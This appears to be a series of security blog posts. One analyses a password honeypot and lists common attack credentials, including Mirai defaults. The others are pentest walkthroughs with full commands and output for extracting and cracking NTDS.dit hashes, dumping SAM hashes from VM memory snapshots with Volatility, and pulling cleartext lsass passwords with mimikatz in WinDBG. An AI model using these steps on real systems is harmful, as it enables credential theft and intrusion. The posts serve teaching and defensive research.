The first 15 days of a password honeypot

A couple of days ago I started running a password honeypot based on heralding. Here is some first analysis and wordlists.
Time frame of this analysis
From:
$ head heralding_activity.log -n 2 | cut -d “,” -f1
timestamp
2016-10-07 19:33:32.291966
To:
$ tail heralding_activity.log -n 1 | cut -d “,” -f1
2016-10-22 16:51:06.616767
Password attacks
Total:
$ cat heralding_activity.log | cut -d “,” -f9 | sort | wc -l
406581
Total unique:
$ cat heralding_activity.log | cut -d “,” -f9 | sort -u | wc -l
41309
Most hits from one ip
$ cat heralding_activity.log | cut -d”,” -f4 |awk ‘{print $1}’ | sort |uniq -c |sort -n |tail
    365 118.68.52.154
    404 185.56.82.83
    467 98.167.86.131
    496 125.212.225.107
    523 125.212.248.85
    581 222.124.18.147
    698 46.172.91.20
    771 116.228.12.138
  90983 221.229.172.117
 154845 180.97.244.253
Top users
$ cat heralding_activity.log | cut -d”,” -f8 |awk ‘{print $1}’ | sort |uniq -c |sort -n |tail
    438 supervisor
    452 service
    457 ubnt
   1284 user
   1353 guest
   2098 support
  12731 admin
  40297 shell
  53335 enable
 286812 root
delete shell and enable, due to mirai:
    438 supervisor
    452 service
    457 ubnt
   1284 user
   1353 guest
   2098 support
  12731 admin
 286812 root
Top passwords
$ cat heralding_activity.log | cut -d”,” -f9 |awk ‘{print $1}’ | sort |uniq -c |sort -n |tail -n 15
   1963 xmhdipc
   2030 support
   2033 1111
   2034 default
   2394 54321
   2753 888888
   2767
   2769 123456
   2989 password
   3019 12345
   3507 vizxv
   3877 xc3511
   6117 admin
  40201 sh
  53764 system
Delete system and sh due to mirai:
   1963 xmhdipc
   2030 support
   2033 1111
   2034 default
   2394 54321
   2753 888888
   2767
   2769 123456
   2989 password
   3019 12345
   3507 vizxv
   3877 xc3511
   6117 admin
As can be seen the top accounts and passwords are default credentials used by mirai.
Because of that here are the top passwords for ssh only:
$ cat heralding_activity.log | grep ssh | cut -d”,” -f9 |awk ‘{print $1}’ | sort |uniq -c |sort -n |tail -n 15
     81 123456789
     82 support
     91 “8ik
     98 test
    109 12345
    111 1234
    112 raspberry
    123 123qwe
    126 qwe123
    128 ubnt
    132 “
    136 password
    138 root
    147 admin
    421 123456
Time to mirai infection
start of the honeypot:
$ head -n 1 heralding.log | cut -d ” ” -f1,2
2016-10-07 19:27:35,447
$ head heralding_activity.log -n 10 | grep telnet | cut -d “,” -f1,8,9
2016-10-07 19:33:32.291966,root,12345
2016-10-07 19:33:33.636283,enable,system
2016-10-07 19:33:34.988987,shell,sh
2016-10-07 19:33:36.876664,root,admin
2016-10-07 19:33:38.301110,enable,system
2016-10-07 19:33:39.719285,shell,sh
2016-10-07 19:33:41.544074,root,xmhdipc
2016-10-07 19:33:42.898664,enable,system
2016-10-07 19:33:44.245631,shell,sh
Conclusion:
six minutes from 1st mirai attack
Closer look to two bruteforcing attempts
771 116.228.12.138
771 attempts for SNMP:
$ cat heralding_activity.log | grep 116.228.12.138 | cut -d “,” -f 1,7,8,9 | head -n 5
2016-10-19 01:21:50.393370,smtp,account,account
2016-10-19 01:21:50.504453,smtp,account,accountaccount
2016-10-19 01:21:51.943364,smtp,account,account1
2016-10-19 01:21:52.099676,smtp,account,account12
2016-10-19 01:21:52.641753,smtp,account,account123
$ cat heralding_activity.log | grep 116.228.12.138 | cut -d “,” -f 1,7,8,9 | tail -n 5
2016-10-19 01:33:20.499069,smtp,webmaster,Passw0rd
2016-10-19 01:33:20.701765,smtp,webmaster,Password1
2016-10-19 01:33:20.889161,smtp,webmaster,Password123
2016-10-19 01:33:21.471823,smtp,webmaster,password
2016-10-19 01:33:21.637730,smtp,webmaster,password1
Nothing special, but usage of different user accounts.
90983 221.229.172.117
$ cat heralding_activity.log | grep 221.229.172.117 | cut -d “,” -f 1,7,8,9 | head -n 5
2016-10-10 11:27:05.514881,ssh,root,!@
2016-10-10 11:27:05.836226,ssh,root,!@
2016-10-10 11:27:06.157371,ssh,root,password
2016-10-10 11:27:22.077912,ssh,root,cisco
2016-10-10 11:27:22.364435,ssh,root,stm
$ cat heralding_activity.log | grep 221.229.172.117 | cut -d “,” -f 1,7,8,9 | tail -n 5
2016-10-19 05:07:10.324697,ssh,root,a0.418.0a
2016-10-19 05:07:10.566465,ssh,root,a d m i n
2016-10-19 05:07:11.256323,ssh,root,@WSXCVFR$
2016-10-19 05:07:20.925478,ssh,root,@root1234
The hole attack took nearly 9 days and was for ssh accounts.
Download password lists
I made password lists:
allpasswords.txt -> containing all passwords sorted and unique
smtpcredentials.txt -> all snmp credentials is user:password format, sorted and unique

NTDS Cracking with Kali

During a pentest it might be possible to gain access to the DC of a windows network. The ntds.dit file is interesting, because all kind of information of the AD is stored here, as for example the user hashes.
When looking for a howto crack NTDS databases I found:
Not everything worked for me, so here are my steps:
Copy the files from the DC
I use Invoke-NinjaCopy from powersploit (https://github.com/PowerShellMafia/PowerSploit).
. .\Invoke-NinjaCopy
Invoke-NinjaCopy -path “c:\your\path\ntds\ntds.dit” -localdestination “c:\temp\ntds.dit”
Invoke-NinjaCopy -path “c:\windows\system32\config\SYSTEM” -localdestination “c:\temp\SYSTEM”
-> copy files to Kali Workstation
Installation on Kali
20120102.tar.gz/198a30c98ca1b3cb46d10a12bef8deaf/libesedb-alpha-20120102.tar.gz
tar -zxf libesedb-alpha-20120102.tar.gz
cd libesedb-20120102/
./configure && make && sudo make install
unzip ntdsxtract_v1_0.zip
Extract Hashes
/root/Downloads/ntds/libesedb-20120102/esedbtools/esedbexport ntds.dit
python /root/Downloads/ntds/NTDSXtract\ 1.0/dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7
./hashdumpwork –passwordhashes SYSTEM –lmoutfile ./lm-out.txt –ntoutfile ./nt-out.txt –pwdformat ophc > dsusers.results
grep -A 2 “Password hashes:” dsusers.results |grep -v “Password hashes” |grep -v ‘Record ID’|grep -v “\-\-” |sort|uniq > allHashes
grep ‘\$NT\$’ allHashes | sed ‘s/.\(.*\)/\1/’ > NTHashes
grep -v ‘\$NT\$’ allHashes | sed ‘s/.\(.*\)/\1/’ > LMHashes
Cracking
# john –fork=8 NTHashes
… or whatever.
More about these topics:

Memdumps, Volatility, Mimikatz, VMs – Part 9: Logging & Monitoring ESXi

So why might this be relevant anyway? All management consoles should be in your separated management network anyway, right? Well, unfortunately that is not always the case:

shodandce1afd8621c8cf131afca4d7451dca5

As you can see about 85.000 ports from the VMware Authentication Deamon are open over the internet.
And you can even bruteforce accounts:
Further, during an onsite test you might find some esxi machines and credentials for management consoles. Also vulnerabilites might exist where it is possible to pwn the vm hypervisor via a virtual machine.
So what is to do for the blue team?
Here are some ideas:
– log network connections to the esxi servers
– log logins
– log changes to vms
– log creation of snapshots
– log reboots and uploads
… and when I say log I mean mainly, collect em. In the links section is an example for Elk and for Splunk.
Relevant log file entries in the vmware.log file for snapshots
The log for can be found in the datastore:
dslog4a7ef9d247c31587dd7399cf5a89bf55
And here is some output from the relevant logfiles after making a snapshot with VMWare Wokstation connected to the ESXi server:
log10c71e5f655bcec62fbf007ac4076d03c
And when doing a snapshot over ssh:
log27879476bcacfd758b78ccee433346b15

Memdumps, Volatility, Mimikatz, VMs – Part 8: ESXi Attacking Scenario – Volatility on ESXi

How cool is that: volatility standalone is running on esxi…
This scenario is only if you have access to the ESXi server via ssh.
Connecting to downloads.volatilityfoundation.org (173.61.222.9:80)
volatility_2.5.linux 100% |*******************************| 32039k  0:00:00 ETA
[root@localhost:/tmp] unzip volatility_2.5.linux.standalone.zip
Archive:  volatility_2.5.linux.standalone.zip
   creating: volatility_2.5.linux.standalone/
  inflating: volatility_2.5.linux.standalone/AUTHORS.txt
  inflating: volatility_2.5.linux.standalone/CREDITS.txt
  inflating: volatility_2.5.linux.standalone/LEGAL.txt
  inflating: volatility_2.5.linux.standalone/LICENSE.txt
  inflating: volatility_2.5.linux.standalone/README.txt
  inflating: volatility_2.5.linux.standalone/volatility_2.5_linux_x64
  inflating: volatility_2.5.linux.standalone/volatility_2.5_linux_x86
Find the .vmem files:
[root@localhost:~] find -name *.vmem
./vmfs/volumes/56ac1339-5203be7f-4c07-000c29b25698/winxpsp3/winxpsp3-Snapshot3.vmem
./vmfs/volumes/56ac1339-5203be7f-4c07-000c29b25698/winxpsp3/winxpsp3-Snapshot2.vmem
./vmfs/volumes/56ac1339-5203be7f-4c07-000c29b25698/Windows 7 x64/Windows 7 x64-Snapshot1.vmem
To the usual stuff:
[root@localhost:/vmfs/volumes/56ac1339-5203be7f-4c07-000c29b25698/Windows 7 x64] /tmp/volatility_2.5.linux.standalone/volatility_2.5_linux_x64 -f “./Windows 7 x64-Snapshot1.vmem” imageinfo
Volatility Foundation Volatility Framework 2.5
INFO    : volatility.debug    : Determining profile based on KDBG search…
[root@localhost:/vmfs/volumes/56ac1339-5203be7f-4c07-000c29b25698/Windows 7 x64]           Suggested Profile(s) : Win7SP0x64, Win7SP1x64, Win2008R2SP0x64, Win2008R2SP1x64
                     AS Layer1 : AMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/vmfs/volumes/56ac1339-5203be7f-4c07-000c29b25698/Windows 7 x64/Windows 7 x64-Snapshot1.vmem)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf800029fd0a0L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff800029fed00L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2016-01-30 08:36:01 UTC+0000
     Image local date and time : 2016-01-30 09:36:01 +0100
[root@localhost:/vmfs/volumes/56ac1339-5203be7f-4c07-000c29b25698/Windows 7 x64] /tmp/volatility_2.5.linux.standalone/volatility_2.5_linux_x64 -f “./Windows 7 x64-Snapshot1.vmem” –profile=”Win7SP1x64″ hivelist
Volatility Foundation Volatility Framework 2.5
Virtual            Physical           Name
—————— —————— —-
0xfffff8a000f21010 0x000000000e407010 \SystemRoot\System32\Config\SAM
0xfffff8a000f241f0 0x000000001503b1f0 \SystemRoot\System32\Config\SECURITY
0xfffff8a000fcf010 0x0000000013dd3010 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0xfffff8a0010211b0 0x0000000013c0c1b0 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0xfffff8a00193f010 0x0000000007284010 \??\C:\Users\dax\ntuser.dat
0xfffff8a001994010 0x000000002a835010 \??\C:\Users\dax\AppData\Local\Microsoft\Windows\UsrClass.dat
0xfffff8a003226010 0x0000000015fe6010 \SystemRoot\System32\Config\DEFAULT
0xfffff8a00000f010 0x0000000027147010 [no name]
0xfffff8a000024010 0x00000000270d2010 \REGISTRY\MACHINE\SYSTEM
0xfffff8a000053010 0x0000000027001010 \REGISTRY\MACHINE\HARDWARE
0xfffff8a000c38010 0x0000000001afb010 \Device\HarddiskVolume1\Boot\BCD
0xfffff8a000d3f010 0x0000000022d0e010 \SystemRoot\System32\Config\SOFTWARE
[root@localhost:/vmfs/volumes/56ac1339-5203be7f-4c07-000c29b25698/Windows 7 x64] /tmp/volatility_2.5.linux.standalone/volatility_2.5_linux_x64 hashdump -f “./Windows 7
x64-Snapshot1.vmem” –profile=”Win7SP1x64″ -y 0xfffff8a000024010 -s 0xfffff8a000f21010
Volatility Foundation Volatility Framework 2.5
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Gast:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
dax:1000:aad3b435b51404eeaad3b435b51404ee:c5a237b7e9d8e708d8436b6148a25fa1:::
Create a snapshot
Yes, of course it is possible to create a snapshot on the cli.
[root@localhost:~] vim-cmd vmsvc/snapshot.create 5 “snap” “some comment” 1 0
And again:
[root@localhost:~] find -name *.vmem
./vmfs/volumes/56ac1339-5203be7f-4c07-000c29b25698/Windows 7 x64/Windows 7 x64-Snapshot5.vmem
[root@localhost:/tmp/volatility_2.5.linux.standalone] ./volatility_2.5_linux_x64 -f “/vmfs/volumes/56ac1339-5203be7f-4c07-000c29b25698/Windows 7 x64/Windows 7 x64-Snapshot5.vmem” imageinfo
Volatility Foundation Volatility Framework 2.5
INFO    : volatility.debug    : Determining profile based on KDBG search…
          Suggested Profile(s) : Win2008R2SP0x64, Win7SP1x64, Win7SP0x64, Win2008R2SP1x64
                     AS Layer1 : AMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/vmfs/volumes/56ac1339-5203be7f-4c07-000c29b25698/Windows 7 x64/Windows 7 x64-Snapshot5.vmem)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80002a4b0a0L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002a4cd00L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2016-01-31 14:55:50 UTC+0000
     Image local date and time : 2016-01-31 15:55:50 +0100
and so on.
Links:

Memdumps, Volatility, Mimikatz, VMs – Part 7: ESXi Server

– I installed ESXi 6 in VMWare Workstation 12
– for this download the ESXi image
– choose “typical installation” when creating a new VM in VMWare Workstation
– for learning and testing this is awesome
esxia413004ae4cd1d083f7506beb40b91de
Screenshot of ESXi running in VMWare Workstation.
– I copied my Windows 7 VM from Workstation to ESXi.
– And made a snapshot like before (in part 6)
UPDATE: works also with .vmsn files
– Download the .vmem file from the datastore:
dsa9786e65987088417a34ba10c323eaf3
Or with the vSphere client:
dsvsphere58ca9c91c0c70b1e95ed1f3dfa2488ee
Then go on like in all the parts before:
C:\Users\dax\Downloads\volatility_2.5.win.standalone>volatility-2.5.standalone.exe -f “Windows 7 x64-Snapshot1.vmem” imageinfo
Volatility Foundation Volatility Framework 2.5
INFO    : volatility.debug    : Determining profile based on KDBG search…
          Suggested Profile(s) : Win2008R2SP0x64, Win7SP1x64, Win7SP0x64, Win200
8R2SP1x64
                     AS Layer1 : AMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (C:\Users\dax\Downloads\volati
lity_2.5.win.standalone\Windows 7 x64-Snapshot1.vmem)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf800029fd0a0L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff800029fed00L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2016-01-30 08:36:01 UTC+0000
     Image local date and time : 2016-01-30 09:36:01 +0100
C:\Users\dax\Downloads\volatility_2.5.win.standalone>volatility-2.5.standalone.e
xe -f “Windows 7 x64-Snapshot1.vmem” –profile=Win7SP1x64 hivelist
Volatility Foundation Volatility Framework 2.5
Virtual            Physical           Name
—————— —————— —-
0xfffff8a000f21010 0x000000000e407010 \SystemRoot\System32\Config\SAM
0xfffff8a000f241f0 0x000000001503b1f0 \SystemRoot\System32\Config\SECURITY
0xfffff8a000fcf010 0x0000000013dd3010 \??\C:\Windows\ServiceProfiles\LocalServic
e\NTUSER.DAT
0xfffff8a0010211b0 0x0000000013c0c1b0 \??\C:\Windows\ServiceProfiles\NetworkServ
ice\NTUSER.DAT
0xfffff8a00193f010 0x0000000007284010 \??\C:\Users\dax\ntuser.dat
0xfffff8a001994010 0x000000002a835010 \??\C:\Users\dax\AppData\Local\Microsoft\W
indows\UsrClass.dat
0xfffff8a003226010 0x0000000015fe6010 \SystemRoot\System32\Config\DEFAULT
0xfffff8a00000f010 0x0000000027147010 [no name]
0xfffff8a000024010 0x00000000270d2010 \REGISTRY\MACHINE\SYSTEM
0xfffff8a000053010 0x0000000027001010 \REGISTRY\MACHINE\HARDWARE
0xfffff8a000c38010 0x0000000001afb010 \Device\HarddiskVolume1\Boot\BCD
0xfffff8a000d3f010 0x0000000022d0e010 \SystemRoot\System32\Config\SOFTWARE
C:\Users\dax\Downloads\volatility_2.5.win.standalone>volatility-2.5.standalone.exe hashdump -f “Windows 7 x64-Snapshot1.vmem” –profile=Win7SP1x64 -y 0xfffff8a0
00024010 -s 0xfffff8a000f21010
Volatility Foundation Volatility Framework 2.5
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c08
9c0:::
Gast:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
dax:1000:aad3b435b51404eeaad3b435b51404ee:c5a237b7e9d8e708d8436b6148a25fa1:::

Memdumps, Volatility, Mimikatz, VMs – Part 6: VMWare Workstation

The VM is running Windows 7.
From the running machine take the snapshot:
workstf1e79bd53e31d6944a7d87fe92f6aab4
Now it is possible to perform the volatility stuff directly with the .vmem file from the snapshot:
C:\Users\dax\Downloads\volatility_2.5.win.standalone>volatility-2.5.standalone.exe -f “C:\Users\dax\Documents\Virtual Machines\Windows 7 x64\Windows 7 x64-Snapshot1.vmem” imageinfo
Volatility Foundation Volatility Framework 2.5
INFO    : volatility.debug    : Determining profile based on KDBG search…
          Suggested Profile(s) : Win2008R2SP0x64, Win7SP1x64, Win7SP0x64, Win200
8R2SP1x64
                     AS Layer1 : AMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (C:\Users\dax\Documents\Virtua
l Machines\Windows 7 x64\Windows 7 x64-Snapshot1.vmem)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf800029f50a0L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff800029f6d00L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2016-01-29 17:48:24 UTC+0000
     Image local date and time : 2016-01-29 18:48:24 +0100
C:\Users\dax\Downloads\volatility_2.5.win.standalone>volatility-2.5.standalone.exe -f “C:\Users\dax\Documents\Virtual Machines\Windows 7 x64\Windows 7 x64-Snapshot1.vmem” –profile=Win7SP1x64 hivelist
Volatility Foundation Volatility Framework 2.5
Virtual            Physical           Name
—————— —————— —-
0xfffff8a001ea6010 0x000000006a5f9010 \??\C:\Users\test\AppData\Local\Microsoft\
Windows\UsrClass.dat
0xfffff8a00000d250 0x000000002d4e6250 [no name]
0xfffff8a000024010 0x000000002d491010 \REGISTRY\MACHINE\SYSTEM
0xfffff8a000052010 0x000000002d53f010 \REGISTRY\MACHINE\HARDWARE
0xfffff8a0000f6410 0x0000000024cbf410 \SystemRoot\System32\Config\DEFAULT
0xfffff8a000fec010 0x0000000026cbf010 \Device\HarddiskVolume1\Boot\BCD
0xfffff8a001003010 0x0000000023191010 \SystemRoot\System32\Config\SOFTWARE
0xfffff8a001263010 0x000000001d2a5010 \SystemRoot\System32\Config\SECURITY
0xfffff8a0012f6010 0x000000001d138010 \SystemRoot\System32\Config\SAM
0xfffff8a0013ea010 0x0000000015820010 \??\C:\Windows\ServiceProfiles\LocalServic
e\NTUSER.DAT
0xfffff8a001439010 0x0000000015446010 \??\C:\Windows\ServiceProfiles\NetworkServ
ice\NTUSER.DAT
0xfffff8a001e0d010 0x00000000355c7010 \??\C:\Users\test\ntuser.dat
C:\Users\dax\Downloads\volatility_2.5.win.standalone>volatility-2.5.standalone.exe hashdump -f “C:\Users\dax\Documents\Virtual Machines\Windows 7 x64\Windows 7×64-Snapshot1.vmem” –profile=Win7SP1x64 -y 0xfffff8a000024010 -s 0xfffff8a0012f
6010
Volatility Foundation Volatility Framework 2.5
Administrator:500:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
Gast:501:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
test:1000:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
WinDBG
The method with windbg works too. But first the image needs to be converted. Download vmss2core (https://labs.vmware.com/flings/vmss2core).
Then convert the image:
C:\Users\dax\Downloads\volatility_2.5.win.standalone>..\vmss2core-win.exe -W “C:\Users\dax\Documents\Virtual Machines\Windows 7 x64\Windows 7 x64-Snapshot1.vmsn ” “C:\Users\dax\Documents\Virtual Machines\Windows 7 x64\Windows 7 x64-Snapshot1 .vmem”
vmss2core version 2452889 Copyright (C) 1998-2015 VMware, Inc. All rights reserv
ed.
… 10 MBs written.
… 20 MBs written.
… 30 MBs written.
… 40 MBs written.
… 50 MBs written.
… 60 MBs written.
… 70 MBs written.
… 80 MBs written.
… 90 MBs written.
… 100 MBs written.
Then just go on like in part 3:
Microsoft (R) Windows Debugger Version 6.3.9600.17336 AMD64
Copyright (c) Microsoft Corporation. All rights reserved.
Loading Dump File [C:\Users\dax\Downloads\volatility_2.5.win.standalone\memory.dmp]
Kernel Complete Dump File: Full address space is available
Symbol search path is: *** Invalid ***
****************************************************************************
* Symbol loading may be unreliable without a symbol search path.           *
* Use .symfix to have the debugger choose a symbol path.                   *
* After setting your symbol path, use .reload to refresh symbol locations. *
****************************************************************************
Executable search path is:
*********************************************************************
* Symbols can not be loaded because symbol path is not initialized. *
*                                                                   *
* The Symbol Path can be set by:                                    *
*   using the _NT_SYMBOL_PATH environment variable.                 *
*   using the -y <symbol_path> argument when starting the debugger. *
*   using .sympath and .sympath+                                    *
*********************************************************************
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for ntkrnlmp.exe –
Windows 7 Kernel Version 7601 (Service Pack 1) UP Free x64
Product: WinNt, suite: TerminalServer SingleUserTS Personal
Built by: 7601.17514.amd64fre.win7sp1_rtm.101119-1850
Machine Name:
Kernel base = 0xfffff800`02804000 PsLoadedModuleList = 0xfffff800`02a49e90
Debug session time: Fri Jan 29 18:48:24.926 2016 (UTC + 1:00)
System Uptime: 0 days 0:05:16.423
*********************************************************************
* Symbols can not be loaded because symbol path is not initialized. *
*                                                                   *
* The Symbol Path can be set by:                                    *
*   using the _NT_SYMBOL_PATH environment variable.                 *
*   using the -y <symbol_path> argument when starting the debugger. *
*   using .sympath and .sympath+                                    *
*********************************************************************
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for ntkrnlmp.exe –
Loading Kernel Symbols
………………………………………………………
……………………………………………………….
………………….
Loading User Symbols
……………………………………………………….
……………………..
Loading unloaded module list
….*** ERROR: Symbol file could not be found.  Defaulted to export symbols for ntdll.dll –
************* Symbol Loading Error Summary **************
Module name            Error
ntkrnlmp               The system cannot find the file specified
ntdll                  The system cannot find the file specified
You can troubleshoot most symbol related issues by turning on symbol loading diagnostics (!sym noisy) and repeating the command that caused symbols to be loaded.
You should also verify that your symbol search path (.sympath) is correct.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for vmtools.dll –
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************
Use !analyze -v to get detailed debugging information.
BugCheck 80, {4f4454, 0, 0, 0}
*** ERROR: Module load completed but symbols could not be loaded for mssmbios.sys
***** Kernel symbols are WRONG. Please fix symbols to do analysis.
*************************************************************************
***                                                                   ***
***                                                                   ***
***    Either you specified an unqualified symbol, or your debugger   ***
***    doesn’t have full symbol information.  Unqualified symbol      ***
***    resolution is turned off by default. Please either specify a   ***
***    fully qualified symbol module!symbolname, or enable resolution ***
***    of unqualified symbols by typing “.symopt- 100”. Note that   ***
***    enabling unqualified symbol resolution with network symbol     ***
***    server shares in the symbol path may cause the debugger to     ***
***    appear to hang for long periods of time when an incorrect      ***
***    symbol name is typed or the network symbol server is down.     ***
***                                                                   ***
***    For some commands to work properly, your symbol path           ***
***    must point to .pdb files that have full type information.      ***
***                                                                   ***
***    Certain .pdb files (such as the public OS symbols) do not      ***
***    contain the required information.  Contact the group that      ***
***    provided you with these symbols if you need this command to    ***
***    work.                                                          ***
***                                                                   ***
***    Type referenced: nt!_KPRCB                                     ***
***                                                                   ***
*************************************************************************
*************************************************************************
***                                                                   ***
***                                                                   ***
***    Either you specified an unqualified symbol, or your debugger   ***
***    doesn’t have full symbol information.  Unqualified symbol      ***
***    resolution is turned off by default. Please either specify a   ***
***    fully qualified symbol module!symbolname, or enable resolution ***
***    of unqualified symbols by typing “.symopt- 100”. Note that   ***
***    enabling unqualified symbol resolution with network symbol     ***
***    server shares in the symbol path may cause the debugger to     ***
***    appear to hang for long periods of time when an incorrect      ***
***    symbol name is typed or the network symbol server is down.     ***
***                                                                   ***
***    For some commands to work properly, your symbol path           ***
***    must point to .pdb files that have full type information.      ***
***                                                                   ***
***    Certain .pdb files (such as the public OS symbols) do not      ***
***    contain the required information.  Contact the group that      ***
***    provided you with these symbols if you need this command to    ***
***    work.                                                          ***
***                                                                   ***
***    Type referenced: nt!_KPRCB                                     ***
***                                                                   ***
*************************************************************************
*************************************************************************
***                                                                   ***
***                                                                   ***
***    Either you specified an unqualified symbol, or your debugger   ***
***    doesn’t have full symbol information.  Unqualified symbol      ***
***    resolution is turned off by default. Please either specify a   ***
***    fully qualified symbol module!symbolname, or enable resolution ***
***    of unqualified symbols by typing “.symopt- 100”. Note that   ***
***    enabling unqualified symbol resolution with network symbol     ***
***    server shares in the symbol path may cause the debugger to     ***
***    appear to hang for long periods of time when an incorrect      ***
***    symbol name is typed or the network symbol server is down.     ***
***                                                                   ***
***    For some commands to work properly, your symbol path           ***
***    must point to .pdb files that have full type information.      ***
***                                                                   ***
***    Certain .pdb files (such as the public OS symbols) do not      ***
***    contain the required information.  Contact the group that      ***
***    provided you with these symbols if you need this command to    ***
***    work.                                                          ***
***                                                                   ***
***    Type referenced: nt!_KPRCB                                     ***
***                                                                   ***
*************************************************************************
*********************************************************************
* Symbols can not be loaded because symbol path is not initialized. *
*                                                                   *
* The Symbol Path can be set by:                                    *
*   using the _NT_SYMBOL_PATH environment variable.                 *
*   using the -y <symbol_path> argument when starting the debugger. *
*   using .sympath and .sympath+                                    *
*********************************************************************
Probably caused by : ntkrnlmp.exe
Followup: MachineOwner
———
kd> .load c:\users\dax\downloads\mimikatz\x64\mimilib.dll
  .#####.   mimikatz 2.0 alpha (x64) built on Jan 17 2016 00:38:45
 .## ^ ##.  “A La Vie, A L’Amour” – Windows build 7601
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ‘## v ##’   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  ‘#####’                                  WinDBG extension ! * * */
===================================
#         * Kernel mode *         #
===================================
# Search for LSASS process
0: kd> !process 0 0 lsass.exe
# Then switch to its context
0: kd> .process /r /p <EPROCESS address>
# And finally :
0: kd> !mimikatz
===================================
#          * User mode *          #
===================================
0:000> !mimikatz
===================================
kd> !process 0 0 lsass.exe
NT symbols are incorrect, please fix symbols
kd> .SymFix
kd> .Reload
Loading Kernel Symbols
………………………………………………………
……………………………………………………….
………………….
Loading User Symbols
……………………………………………………….
……………………..
Loading unloaded module list
….Unable to enumerate user-mode unloaded modules, NTSTATUS 0xC0000147
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for vmtools.dll –
************* Symbol Loading Error Summary **************
Module name            Error
vmtools                PDB not found : cache*
                       No data is available : SRV*http://msdl.microsoft.com/download/symbols
You can troubleshoot most symbol related issues by turning on symbol loading diagnostics (!sym noisy) and repeating the command that caused symbols to be loaded.
You should also verify that your symbol search path (.sympath) is correct.
kd> !process 0 0 lsass.exe
PROCESS fffffa8003a7bb30
    SessionId: 0  Cid: 020c    Peb: 7fffffdb000  ParentCid: 01a4
    DirBase: 1e66e000  ObjectTable: fffff8a00123c6e0  HandleCount: 538.
    Image: lsass.exe
kd> .process /r /p fffffa8003a7bb30
Implicit process is now fffffa80`03a7bb30
Loading User Symbols
……………………………………………………
kd> !mimikatz
DPAPI Backup keys
=================
Current prefered key:       {00000000-0000-0000-0000-000000000000}
Compatibility prefered key: {00000000-0000-0000-0000-000000000000}
SekurLSA
========
Authentication Id : 0 ; 430604 (00000000:0006920c)
Session           : Interactive from 1
User Name         : test
Domain            : WIN-254BC5SVOCB
Logon Server      : WIN-254BC5SVOCB
Logon Time        : 29.01.2016 18:46:10
SID               : S-1-5-21-1016508660-14321150-529431041-1000
    msv :
     [00000003] Primary
     * Username : test
     * Domain   : WIN-254BC5SVOCB
     * LM       : 624aac413795cdc1aad3b435b51404ee
     * NTLM     : c5a237b7e9d8e708d8436b6148a25fa1
     * SHA1     : 39cfdb69532cff3336f08a83aac42524f41cd6e9
    tspkg :
     * Username : test
     * Domain   : WIN-254BC5SVOCB
     * Password : test123
    wdigest :
     * Username : test
     * Domain   : WIN-254BC5SVOCB
     * Password : test123
    kerberos :
     * Username : test
     * Domain   : WIN-254BC5SVOCB
     * Password : test123
     * Key List
       aes256_hmac       <no size, buffer is incorrect>
       aes128_hmac       <no size, buffer is incorrect>
       rc4_hmac_nt       c5a237b7e9d8e708d8436b6148a25fa1
       rc4_hmac_old      c5a237b7e9d8e708d8436b6148a25fa1
       rc4_md4           c5a237b7e9d8e708d8436b6148a25fa1
       rc4_hmac_nt_exp   c5a237b7e9d8e708d8436b6148a25fa1
       rc4_hmac_old_exp  c5a237b7e9d8e708d8436b6148a25fa1
    ssp :
    masterkey :
    credman :
Authentication Id : 0 ; 430574 (00000000:000691ee)
Session           : Interactive from 1
User Name         : test
Domain            : WIN-254BC5SVOCB
Logon Server      : WIN-254BC5SVOCB
Logon Time        : 29.01.2016 18:46:10
SID               : S-1-5-21-1016508660-14321150-529431041-1000
    msv :
     [00000003] Primary
     * Username : test
     * Domain   : WIN-254BC5SVOCB
     * LM       : 624aac413795cdc1aad3b435b51404ee
     * NTLM     : c5a237b7e9d8e708d8436b6148a25fa1
     * SHA1     : 39cfdb69532cff3336f08a83aac42524f41cd6e9
    tspkg :
     * Username : test
     * Domain   : WIN-254BC5SVOCB
     * Password : test123
    wdigest :
     * Username : test
     * Domain   : WIN-254BC5SVOCB
     * Password : test123
